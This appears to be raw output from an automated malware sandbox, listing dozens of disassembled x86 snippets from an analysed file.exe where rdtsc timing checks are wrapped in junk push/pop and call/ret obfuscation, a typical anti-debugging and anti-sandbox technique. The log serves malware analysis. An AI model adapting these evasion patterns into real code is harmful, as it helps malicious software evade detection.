Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AF12 second address: E6AF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F34C04FCDC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AF21 second address: E6AF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F34C0CE3846h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F34C0CE3855h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B5D2 second address: E6B5DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B8D4 second address: E6B92F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Ah 0x00000007 jmp 00007F34C0CE3854h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F34C0CE3856h 0x00000014 jmp 00007F34C0CE3857h 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jl 00007F34C0CE3846h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B92F second address: E6B94C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B94C second address: E6B952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6BBD5 second address: E6BBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6BD81 second address: E6BD9B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F34C0CE3846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F34C0CE384Ah 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C06D second address: E6C086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C086 second address: E6C08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70B9E second address: E70BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70BA8 second address: E70BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F34C0CE3846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E385B0 second address: E385B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E385B4 second address: E3860B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor dh, FFFFFF97h 0x0000000b lea eax, dword ptr [ebp+1247C3AAh] 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F34C0CE3848h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b sbb ecx, 2F0892A4h 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 jmp 00007F34C0CE3854h 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3860B second address: E38611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38707 second address: E38714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F34C0CE3846h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38714 second address: E38718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E389EC second address: E389F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E389F0 second address: E389F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38B9A second address: E38BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F34C0CE3846h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38BB0 second address: E38BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F34C04FCDC8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D32FFh], ecx 0x00000027 movzx ecx, cx 0x0000002a push 04BD0F5Eh 0x0000002f push eax 0x00000030 push edx 0x00000031 jno 00007F34C04FCDC8h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38EB5 second address: E38EBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38F8D second address: E38F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E392B7 second address: E39335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3853h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jc 00007F34C0CE384Ch 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F34C0CE3848h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push ebx 0x00000033 jns 00007F34C0CE384Ch 0x00000039 pop edi 0x0000003a call 00007F34C0CE3855h 0x0000003f pop edi 0x00000040 push 0000001Eh 0x00000042 pushad 0x00000043 movsx esi, si 0x00000046 mov esi, dword ptr [ebp+122D56D9h] 0x0000004c popad 0x0000004d nop 0x0000004e push edi 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3944D second address: E39457 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39457 second address: E3946D instructions: 0x00000000 rdtsc 0x00000002 js 00007F34C0CE384Ch 0x00000008 jno 00007F34C0CE3846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3946D second address: E39478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F34C04FCDC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39478 second address: E39489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE384Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39489 second address: E3948D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4014C second address: E40150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39778 second address: E39794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDD7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39794 second address: E1E865 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b adc edi, 605B3186h 0x00000011 call dword ptr [ebp+122D1B64h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F34C0CE385Ch 0x0000001f jmp 00007F34C0CE3856h 0x00000024 push eax 0x00000025 js 00007F34C0CE3846h 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E865 second address: E1E86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E86D second address: E1E871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E871 second address: E1E89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDD1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F34C04FCDCFh 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E89B second address: E1E89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E89F second address: E1E8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F34C04FCDC8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E8B1 second address: E1E8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E8B7 second address: E1E8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FD2F second address: E6FD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FD34 second address: E6FD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA52C second address: DFA54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F34C0CE3846h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F34C0CE3852h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E701AE second address: E701B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E701B4 second address: E701B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E701B8 second address: E701BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E701BE second address: E701CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70471 second address: E70494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F34C04FCDC6h 0x0000000f jmp 00007F34C04FCDD4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70494 second address: E70498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70498 second address: E704A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E705E7 second address: E70606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE3859h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70606 second address: E70613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70613 second address: E7062B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F34C0CE384Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7062B second address: E70633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7624F second address: E76255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76255 second address: E76272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F34C04FCDCEh 0x00000009 popad 0x0000000a push ebx 0x0000000b ja 00007F34C04FCDC6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C88C second address: E7C891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C891 second address: E7C8AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C8AA second address: E7C8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B30C second address: E7B312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B478 second address: E7B487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B487 second address: E7B48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B70E second address: E7B712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B712 second address: E7B718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BC79 second address: E7BC7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BC7F second address: E7BC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BC89 second address: E7BC9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F34C0CE388Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BC9B second address: E7BCA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BCA1 second address: E7BCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BE12 second address: E7BE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F34C04FCDC6h 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BF96 second address: E7BF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7BF9A second address: E7BFBC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F34C04FCDC6h 0x00000008 jp 00007F34C04FCDC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pushad 0x00000012 jnl 00007F34C04FCDCCh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C0E3 second address: E7C103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F34C0CE3856h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B058 second address: E7B05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B05D second address: E7B067 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F34C0CE384Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82566 second address: E82576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F34C04FCDC6h 0x0000000a jc 00007F34C04FCDC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82576 second address: E825AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F34C0CE3857h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E825AE second address: E825B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E825B2 second address: E825BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E825BA second address: E825C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81244 second address: E8127F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F34C0CE3846h 0x00000008 jne 00007F34C0CE3846h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007F34C0CE385Dh 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F34C0CE384Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81C51 second address: E81C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81C57 second address: E81C73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F34C0CE384Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007F34C0CE3846h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E851D1 second address: E851FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD0h 0x00000007 jg 00007F34C04FCDC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F34C04FCDD1h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E851FF second address: E8523A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F34C0CE3850h 0x0000000b popad 0x0000000c jmp 00007F34C0CE3859h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F34C0CE384Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8523A second address: E8524A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F34C04FCDCCh 0x0000000a jne 00007F34C04FCDC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8524A second address: E85250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85250 second address: E8525A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F34C04FCDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8525A second address: E8525E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87427 second address: E8742D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A6D3 second address: E8A6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F34C0CE3856h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A6EE second address: E8A6F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A6F3 second address: E8A718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnp 00007F34C0CE3846h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jng 00007F34C0CE385Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F34C0CE384Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A165 second address: E8A16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F34C04FCDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A2C0 second address: E8A2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F313 second address: E8F317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E9F8 second address: E8E9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
